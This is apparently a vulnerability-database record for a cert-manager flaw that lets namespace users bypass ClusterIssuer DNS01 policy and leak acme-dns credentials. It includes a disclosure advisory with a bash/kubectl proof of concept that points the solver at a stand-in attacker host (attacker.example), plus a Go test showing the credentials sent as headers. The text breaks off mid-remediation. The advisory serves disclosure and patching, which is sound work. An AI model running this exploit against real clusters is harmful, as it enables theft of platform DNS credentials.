com/security/cve/CVE-2026-107217"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107218"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107219"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107220"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107221"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107222"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107223"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107224"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107225"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107386"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107804"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107805"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107806"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107807"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107808"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107809"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107810"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107811"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107812"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107813"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107839"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-107840"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-111497"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-111943"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-113727"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-113729"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116591"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116676"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116679"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116682"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-116683"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118266"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118650"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118651"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118652"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118653"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118654"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118655"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118656"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118657"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118658"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118759"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-118761"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-119285"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-12411"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13218"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13322"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-13426"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-21727"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-26287"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-32284"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-33634"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-34157"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41504"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41508"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-41510"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55098"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55458"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-55797"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56742"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56851"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56857"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-56866"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-57458"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-58167"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-59707"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-60083"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61681"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61687"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-61801"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62160"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62204"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62251"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62252"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62253"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62290"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62314"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62331"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62367"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62376"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-62994"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64652"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64653"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64655"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-64672"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-68581"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-68582"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-69085"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-72788"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73049"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73054"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73605"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73606"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73607"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73609"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73630"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-73802"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-74802"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-74904"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-76216"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77375"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77459"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77524"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-77622"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78659"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78660"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78661"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78663"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78667"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-78669"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-82410"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-82416"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84312"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84313"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84314"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84315"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84316"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84317"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84318"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84319"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84320"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84321"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84360"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-84445"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-85747"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-86597"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91968"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91969"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91970"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91971"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91972"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91973"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91979"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91980"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91981"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91982"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91983"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91984"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-91985"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94439"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94440"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94444"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94447"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94448"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-94603"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-95837"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-95838"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-96627"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-96628"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97030"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97031"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97032"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97045"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-97394"}]},{"provider":"cvelistv5","source_id":"CVE-2026-62290","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-62290","license":"CC-BY-4.0","published_at":"2026-07-16T19:37:40.255Z","modified_at":"2026-07-18T03:10:55.978Z","summary":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","details":"cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","source":"CVE-2026-62290"}],"affected":[{"ecosystem":"CVE","package":"cert-manager/cert-manager","versions":[">= 1.18.0, < 1.19.6",">= 1.20.0, < 1.20.3"],"provider":"cvelistv5","source":"CVE-2026-62290","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"}]},{"provider":"nvd","source_id":"CVE-2026-62290","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290","severity":[],"affected":[{"ecosystem":"NVD","package":"linuxfoundation:cert-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"}]},{"type":"ECOSYSTEM","events":[{"introduced":"1.20.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"nvd","source":"CVE-2026-62290","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"BIT-cert-manager-2026-62290","relation":"self","url":"https://osv.dev/vulnerability/BIT-cert-manager-2026-62290","license":"Apache-2.0","published_at":"2026-07-27T05:37:04.158Z","modified_at":"2026-11-05T23:25:44.048366Z","summary":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","details":"cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","source":"BIT-cert-manager-2026-62290"}],"affected":[{"ecosystem":"Bitnami","package":"cert-manager","purl":"pkg:bitnami/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"},{"introduced":"1.20.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"osv","source":"BIT-cert-manager-2026-62290","relation":"self"}],"product_status":[],"references":[{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"ARTICLE","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"ARTICLE","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"},{"type":"ADVISORY","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"}]},{"provider":"osv","source_id":"DHI-heii-miix-gola-xi57","relation":"self","url":"https://osv.dev/vulnerability/DHI-heii-miix-gola-xi57","license":"Apache-2.0","published_at":"2026-11-20T18:42:30Z","modified_at":"2026-11-20T18:45:04.830843Z","summary":"## Summary","details":"## Summary\n\n`Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration.\n\nWhen the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.\n\nIn the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace.\n\n## Attack preconditions\n\n- The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace.\n- The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide.\n- A usable `ClusterIssuer` exists in the cluster.\n- The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`.\n- The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.\n\n## Severity\n\nRationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.\n\n## Why this is not just RBAC misconfiguration\n\ncert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`.\n\nThe security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object.\n\n## Affected components\n\n- ACME Challenge admission validation\n- ACME Challenge controller\n- DNS01 solver selection and DNS provider construction\n- Default aggregate RBAC for `challenges.acme.cert-manager.io`\n\n## Affected versions tested\n\nThe issue was reproduced on:\n\n- `master` commit `2c0f1a6a4`\n- latest production release `v1.20.2` commit `e5b7b1845`\n- `v1.19.5` commit `cda7b7896`\n- `v1.18.6` commit `4699caabb`\n\nSee `VERSION_TEST_MATRIX.md` for the command matrix and outputs.\n\n## Technical details\n\nRelevant code paths:\n\n- `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create.\n- `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`.\n- `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges.\n- `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`.\n- `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge.\n- `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument.\n- `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`.\n- `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace.\n- `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`.\n- `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled.\n- `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`.\n\nThe normal `Order` flow selects a solver from the Issuer:\n\n- `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated.\n- `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected.\n- `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge.\n\nThe direct `Challenge` flow skips that selection entirely because the direct object already contains a solver.\n\n## Proof of concept\n\n### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge\n\nThe following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.\n\nThe ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.\n\nA broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.\n\nRun from the cert-manager repository root:\n\n```bash\nset -euo pipefail\n\nname=cm-direct-challenge-poc\ndocker rm -f \"$name\" >/dev/null 2>&1 || true\ndocker run -d --name \"$name\" --privileged -v \"$PWD\":/repo rancher/k3s:v1.33.4-k3s1 \\\n  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null\n\ncleanup() {\n  docker rm -f \"$name\" >/dev/null 2>&1 || true\n}\ntrap cleanup EXIT\n\nfor i in $(seq 1 90); do\n  docker exec \"$name\" kubectl get --raw=/readyz >/dev/null 2>&1 && break\n  sleep 2\ndone\n\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null\ndocker exec \"$name\" kubectl create ns tenant >/dev/null\ndocker exec \"$name\" kubectl create ns cert-manager >/dev/null\ndocker exec \"$name\" kubectl -n tenant create sa bob >/dev/null\n\ndocker exec \"$name\" kubectl -n cert-manager create secret generic cluster-acmedns-account \\\n  --from-literal=accounts.json='{\"victim.example.com\":{\"username\":\"victim-user\",\"password\":\"victim-pass\",\"fulldomain\":\"x.example.org\",\"subdomain\":\"x\"}}' >/dev/null\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: cert-manager.io/v1\nkind: ClusterIssuer\nmetadata:\n  name: cluster-prod\nspec:\n  acme:\n    email: admin@example.com\n    server: https://acme-staging-v02.api.letsencrypt.org/directory\n    privateKeySecretRef:\n      name: cluster-prod-account-key\n    solvers:\n    - selector:\n        dnsZones:\n        - victim.example.com\n      dns01:\n        acmeDNS:\n          host: https://legit-acmedns.example\n          accountSecretRef:\n            name: cluster-acmedns-account\n            key: accounts.json\nYAML\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: challenge-create-only\n  namespace: tenant\nrules:\n- apiGroups: [\"acme.cert-manager.io\"]\n  resources: [\"challenges\"]\n  verbs: [\"create\", \"get\", \"list\", \"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: bob-challenge-create-only\n  namespace: tenant\nsubjects:\n- kind: ServiceAccount\n  name: bob\n  namespace: tenant\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: challenge-create-only\nYAML\n\necho \"bob create challenges: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)\"\necho \"bob get cert-manager secret: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)\"\necho \"bob get clusterissuer: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)\"\necho \"ClusterIssuer solver policy: $(docker exec \"$name\" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{\" \"}{.spec.acme.solvers[0].dns01.acmeDNS.host}')\"\n\ndocker exec -i \"$name\" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'\napiVersion: acme.cert-manager.io/v1\nkind: Challenge\nmetadata:\n  name: direct-dns01\nspec:\n  authorizationURL: https://attacker.example/acme/authz/1\n  dnsName: victim.example.com\n  issuerRef:\n    group: cert-manager.io\n    kind: ClusterIssuer\n    name: cluster-prod\n  key: attacker-key\n  token: attacker-token\n  type: DNS-01\n  url: https://attacker.example/acme/chal/1\n  solver:\n    dns01:\n      acmeDNS:\n        host: https://attacker.example/acmedns\n        accountSecretRef:\n          name: cluster-acmedns-account\n          key: accounts.json\nYAML\n\ndocker exec \"$name\" kubectl -n tenant get challenge direct-dns01 \\\n  -o jsonpath='{.spec.issuerRef.kind}{\" \"}{.spec.dnsName}{\" \"}{.spec.solver.dns01.acmeDNS.host}{\" \"}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{\"\\n\"}'\n```\n\nExpected output:\n\n```text\nbob create challenges: yes\nbob get cert-manager secret: no\nbob get clusterissuer: no\nClusterIssuer solver policy: victim.example.com https://legit-acmedns.example\nchallenge.acme.cert-manager.io/direct-dns01 created\nClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account\n```\n\nThis proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.\n\n### PoC B: acme-dns provider sends referenced credentials to the configured host\n\nThis self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.\n\nRun from repository root:\n\n```bash\nset -euo pipefail\n\ncat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'\npackage acmedns\n\nimport (\n        \"context\"\n        \"net/http\"\n        \"net/http/httptest\"\n        \"testing\"\n)\n\nfunc TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {\n        var gotUser, gotKey, gotPath string\n\n        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                gotPath = r.URL.Path\n                gotUser = r.Header.Get(\"X-Api-User\")\n                gotKey = r.Header.Get(\"X-Api-Key\")\n                w.Header().Set(\"Content-Type\", \"application/json\")\n                w.WriteHeader(http.StatusOK)\n                w.Write([]byte(`{\"txt\":\"ok\"}`))\n        }))\n        defer ts.Close()\n\n        accountJSON := []byte(`{\n                \"victim.example.com\": {\n                        \"username\": \"victim-user\",\n                        \"password\": \"victim-pass\",\n                        \"fulldomain\": \"x.example.org\",\n                        \"subdomain\": \"x\"\n                }\n        }`)\n\n        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)\n        if err != nil {\n                t.Fatal(err)\n        }\n\n        if err := provider.Present(context.Background(), \"victim.example.com\", \"\", \"txt-value\"); err != nil {\n                t.Fatal(err)\n        }\n\n        if gotPath != \"/update\" {\n                t.Fatalf(\"path = %q, want /update\", gotPath)\n        }\n        if gotUser != \"victim-user\" {\n                t.Fatalf(\"X-Api-User = %q, want victim-user\", gotUser)\n        }\n        if gotKey != \"victim-pass\" {\n                t.Fatalf(\"X-Api-Key = %q, want victim-pass\", gotKey)\n        }\n}\nEOF\n\ndocker run --rm \\\n  -v \"$PWD\":/repo \\\n  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \\\n  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \\\n  -w /repo golang:1.26-bookworm \\\n  go test ./pkg/issuer/acme/dns/acmedns \\\n  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \\\n  -count=1 -v\n\nrm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go\n```\n\nExpected output:\n\n```text\n=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n```\n\nCombined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.\n\n## Credential impact scope\n\nThe concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON.\n\nFor other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.\n\n## Expected behavior\n\nUsers should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.\n\n## Actual behavior\n\nA user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings.\n\n## Suggested remediation\n\nPossible mitigations:\n\n- Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge.\n- Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the 